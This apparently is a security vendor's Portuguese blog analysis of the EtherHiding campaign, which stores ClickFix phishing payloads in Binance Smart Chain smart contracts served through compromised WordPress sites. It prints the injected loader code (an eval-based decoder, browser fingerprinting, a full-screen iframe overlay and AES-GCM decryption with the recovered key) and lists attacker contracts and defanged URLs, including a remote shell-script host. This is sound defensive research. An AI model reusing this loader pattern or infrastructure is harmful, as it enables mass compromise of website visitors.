Skip to main content
Blog
Attacks Blog

A Blockchain Não É Sua Amiga: Analisando o EtherHiding e o Uso da Blockchain em Ataques

Em março/abril de 2025, uma variante do ClickFix circulou usando a blockchain da Binance com contratos inteligentes para controlar payloads de malware que surgiam a partir de um plugin WordPress comprometido.

Sep 02, 2025 Atualizado Jul 20, 2026 10 min read
Banner sobre a análise do EtherHiding e do uso da blockchain em ataques
Índice

Resumo: entrega de payload ClickFix via contrato inteligente na Binance Smart Chain

  • Sem host para desligar: Os takedowns são a métrica favorita do setor. O EtherHiding aposenta essa métrica. Quando o payload vive dentro de um contrato inteligente da Binance Smart Chain, não há host para notificar, não há registador para pressionar, nem servidor para desligar.
  • O payload vive on-chain: O contrato Orchid em 0x8FBA1667BEF5EdA433928b220886A830488549BD entregou cinco payloads Base64+gzip através de funções getter em aproximadamente 19.800 sites comprometidos, terminando num comando de terminal ClickFix desencriptado com AES em tempo real. A cside monitoriza o que o navegador realmente executa em runtime, pelo que os payloads on-chain ficam visíveis no momento em que são renderizados.
  • O runtime é o checkpoint: Se a sua estratégia de defesa depende de takedowns de domínio e de listas de reputação, abandone essa premissa este trimestre. Os atacantes migraram para hospedagem imutável e descentralizada, e o único checkpoint que lhe resta é o runtime no navegador do utilizador.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

Há menos de duas semanas, um dos muitos contratos inteligentes dormentes alojados na Binance Smart Chain regressou subitamente à vida. O atacante atualizou as variáveis do contrato, reativou os payloads, e o ataque está agora potencialmente ativo em mais de 19.800 sites comprometidos.

O ataque é conhecido como EtherHiding e utiliza principalmente contratos inteligentes em blockchain para entregar às vítimas payloads dinâmicos de captcha no estilo ClickFix. Escrevemos inicialmente sobre ataques ClickFix direcionados ao macOS em fevereiro, mas, como acontece com todos os ataques, o método de entrega mudou desde então. Esta classe crescente de ameaças client-side é cada vez mais difícil de detetar, e ainda mais de mitigar.

Somos a cside e monitorizamos ataques client-side de JavaScript de terceiros. Só no primeiro trimestre de 2025, observámos mais de 300 mil sites comprometidos.

Porquê a Binance Smart Chain?

A Binance Smart Chain (BSC) é uma plataforma de blockchain concebida para executar aplicações baseadas em contratos inteligentes destinadas a utilizadores de criptomoedas. Ao contrário de cadeias tradicionais como a Ethereum, a BSC privilegia custos de transação baixos e um elevado rendimento, o que a torna atrativa tanto para programadores de finanças descentralizadas como para agentes de ameaça.

Usando estes contratos inteligentes, um agente de ameaça pode armazenar payloads maliciosos on-chain, o que confere ao atacante algumas vantagens em relação à infraestrutura de cloud tradicional:

  • Hospedagem imutável (porque, uma vez na blockchain, existe para sempre)
  • Armazenamento descentralizado sem possibilidade de remoção
  • Atualização em tempo real através de funções do contrato

Nesta campanha de EtherHiding, funções getter e setter dentro destes contratos são usadas para entregar payloads JavaScript que se adaptam ao ambiente da vítima. Estes são desencriptados e descomprimidos no navegador, e depois executados.

Análise da cadeia de ataque

O ataque começa com a injeção de código malicioso na tag <head> de um site, principalmente em instalações WordPress. A nossa análise apontou para plugins vulneráveis como o provável vetor de acesso. Uma vez inserido o código malicioso no site, este desencadeia um ataque em várias etapas que obtém os seus próximos passos a partir da própria blockchain.

Diagrama do fluxo do ataque EtherHiding, que começa com código injetado no head da página

Etapa 1: Comprometimento inicial e configuração

O primeiro ponto de contacto deste script malicioso é uma ligação Web3 à Binance Smart Chain, e não um servidor controlado pelo atacante. O script contacta o contrato inteligente no endereço 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, dando início ao ataque ao solicitar mais instruções a este contrato.

O ABI do contrato devolvido (Application Binary Interface, ou uma lista de instruções do contrato) e as respetivas informações estão codificados em Base64 e comprimidos com gzip, o que exige que o script os descomprima usando a biblioteca pako (uma implementação em JavaScript da biblioteca de compressão zlib) antes de poderem ser interpretados e utilizados.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

  

Depois de estabelecer contacto, o script chama uma função da blockchain para obter o endereço do próximo contrato inteligente, localizado em 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Etapa 2: Carregador de múltiplos payloads através da função tokyoSkytree

O contrato **0x8FBA1667BEF5EdA433928b220886A830488549BD**, internamente designado por contrato Orchid, é o contrato mais importante da cadeia de ataque.

Dentro deste contrato existem cinco funções essenciais que determinam o que acontece a seguir no ataque:

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

O núcleo do ataque é iniciado pela função **tokyoSkytree**, que funciona como um carregador e orquestrador controlado remotamente para todo o payload. Esta executa as outras quatro funções do contrato inteligente, uma após a outra, cada uma devolvendo um blob de JavaScript comprimido e codificado em Base64 para ofuscar ainda mais as suas respostas.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

  

Cada uma destas funções do contrato inteligente devolve um payload que é decodificado e executado dinamicamente através da função **teaCeremony**:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

  

Este pipeline (simplificado) decodifica a string Base64, descomprime-a com gzip e executa-a através da função eval. Este design torna a campanha de ataque modular e ágil, uma vez que os payloads armazenados on-chain podem ser substituídos com extrema rapidez.

Etapa 3: Fingerprinting da vítima

shibuyaCrossing: Determinar o sistema operativo


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

  

akihabaraLights: Determinar o navegador


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

  

As duas funções shibuyaCrossing e akihabaraLights são usadas para fazer o fingerprinting do ambiente da vítima, através das informações do sistema operativo e do navegador. Estas informações são usadas posteriormente para servir uma versão específica do ataque, com base no navegador ou sistema operativo utilizado.

Etapa 4: Desencriptação e injeção do payload

Depois de fazer o fingerprinting do ambiente do utilizador, **ginzaLuxury** contacta um terceiro e último contrato inteligente (localizado em 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, designado por contrato Jade), que carrega ainda mais funções.

De destacar: **getRandomSkylineByBrowserAndPlatform**.

Esta função, após receber as variáveis de navegador e sistema operativo determinadas anteriormente, devolve um URL para obter o HTML encriptado a exibir. Ao descarregar este payload e desencriptá-lo com a função **pearlTower**, que contém uma chave de desencriptação AES-GCM, o ataque é finalmente injetado numa tag iframe em ecrã completo que sobrepõe a tela da vítima.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

  

Com base na nossa investigação, o único URL atualmente ativo é **https://yie-cpj[.]pages[.]dev/mac**, que tem um payload ativo para utilizadores de Firefox, Google Chrome e Safari no macOS.

Etapa 5: Análise do HTML encriptado

Para validar a etapa final deste ataque, decodificámos e analisámos o HTML encriptado alojado em **https://yie-cpj[.]pages[.]dev/mac**. Usando um script desenvolvido durante a investigação, conseguimos recolher as transações da blockchain, decodificar cada payload enviado ao contrato e determinar a última chave de desencriptação válida utilizada.

A chave **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** pode ser usada para desencriptar o payload HTML através da função de desencriptação **decryptScrollToText**:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

  

O HTML resultante é um payload de phishing no estilo ClickFix, concebido para se parecer com uma página de verificação reCAPTCHA. Em vez de validar o utilizador através de imagens, instrui a vítima a:

  1. Abrir o terminal do macOS
  2. Colar e executar um comando codificado em Base64, obtido dinamicamente a partir da função **jadeCode()** on-chain
Página de verificação falsa que instrui os utilizadores a colar e executar um comando codificado em Base64

O comando de terminal mostrado aos utilizadores usa Base64 para ofuscar o URL do payload: https://kimbeech[.]cfd/cap/verify.sh.

Embora o URL estivesse inativo no momento da análise e o script **verify[.]sh** não pudesse ser obtido para exame mais aprofundado, a estrutura e o método de entrega não deixam dúvidas quanto à verdadeira intenção do atacante.

Ao instruir a vítima a executar, no seu terminal, um comando injetado na área de transferência, o atacante tenta executar um script Bash remoto sob o pretexto de um processo familiar de verificação CAPTCHA. Esta é uma característica central da técnica de engenharia social ClickFix e representa um risco grave de comprometimento total do dispositivo.

Porque a segurança client-side importa mais do que nunca

Ataques como o EtherHiding mostram até que ponto as ameaças client-side evoluíram. São modulares, ofuscados e cada vez mais entregues através de infraestrutura descentralizada que não pode ser encerrada.

Como o payload vive dentro do navegador e reage com base no ambiente do utilizador, estes ataques conseguem passar despercebidos pelas proteções tradicionais do lado do servidor. Nem sequer precisam de explorar o próprio servidor. Tudo o que necessitam é que a vítima carregue a página.

Manter-se à frente destas ameaças significa monitorizar tanto o seu código como aquilo que o navegador realmente executa: scripts de terceiros, assets injetados e comportamentos que podem mudar em tempo real. À medida que as superfícies de ataque client-side se tornam mais complexas, também as defesas construídas para as detetar têm de evoluir.

Glossário

Nome

Endereço do Contrato

Finalidade

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Contrato inicial que fornece o ABI e o endereço do orchid

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Lógica principal de execução que entrega JavaScript em Base64 + gzip

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Armazena URLs de payloads encriptados e chaves AES-GCM

URL

Comportamento

https://yie-cpj[.]pages[.]dev/mac

Sobreposição de phishing CAPTCHA em ecrã completo (direcionado ao macOS)

https://hfdjmoedkjf[.]asia/

Endpoint de telemetria usado para registar strings de user-agent

https://kimbeech[.]cfd/

URL de script de shell remoto (atualmente inativo)

https://orange-service[.]xyz

Endpoint de telemetria na página de ataque, também usado para reportar strings de user-agent

Contrato

Função

Papel no Ataque

Orchid

tokyoSkytree()

Ponto de entrada que carrega e executa as outras funções do contrato

Orchid

shibuyaCrossing()

Devolve o script de deteção do sistema operativo

Orchid

akihabaraLights()

Devolve o script de deteção do navegador

Orchid

ginzaLuxury()

Carrega o contrato Jade e também desencadeia o fluxo de desencriptação e renderização

Orchid

asakusaTemple()

Envia dados de telemetria de volta ao agente de ameaça

Jade 

getRandomSkylineByBrowserAndPlatform()

Devolve a chave de desencriptação AES-GCM para os payloads de popup HTML

Jade

pearlTower()

Expõe todos os mapeamentos de payload com URLs

Jade

getAllSkylines()

Permite ao atacante alterar a chave de desencriptação (por exemplo, rotacionar a encriptação)

Jade

setPearlTower()


Permite ao atacante substituir os URLs de payload em várias plataformas

Jack LaFond
Security Researcher

I'm a security engineer + security researcher at cside.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Agende uma demo personalizada para ver:

Como alcançar a conformidade com os requisitos 6.4.3 e 11.6.1 do PCI DSS em 1 dia
Por que scripts de terceiros são um risco de segurança para você e seus visitantes
Como monitorar vazamentos de privacidade e consentimento (RGPD, CCPA) em cada terceiro
Como conter abuso de cadastros, compartilhamento de contas e fraude de chargeback com device intelligence
Como detectar e controlar agentes de IA e bots que acessam seu site em tempo real

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário